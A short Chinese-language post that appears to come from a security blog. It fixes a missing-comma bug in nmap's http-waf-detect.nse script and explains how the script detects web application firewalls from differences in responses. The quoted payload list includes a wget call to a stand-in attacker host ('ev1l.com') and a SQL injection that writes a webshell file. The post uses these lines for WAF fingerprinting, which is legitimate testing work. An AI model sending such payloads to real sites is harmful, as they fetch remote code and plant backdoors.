http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
测试了下有个bug会引起执行失败:
将
“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}
改为
“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”,
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}
少一个逗号- -。
效果出来了,原理很简单,部署WAF的网站,发送一些网站本身不包含的一些参数键值对,网站一般情况下不会出现任何异常,而WAF会报警,响应会出现差异。基于这些差异进行判断就行。不过这个nse脚本判断机制似乎太简单了。
我认为要对具体品牌的waf做针对性的测试,要跟waf具体的配置走,被动性比较大,实现较通用的探测误报又太高。
哈哈,非常有意思,waf的人在想办法识别各种扫描器与攻击工具,做扫描器与攻击攻击的人又在想各种waf的差异识别。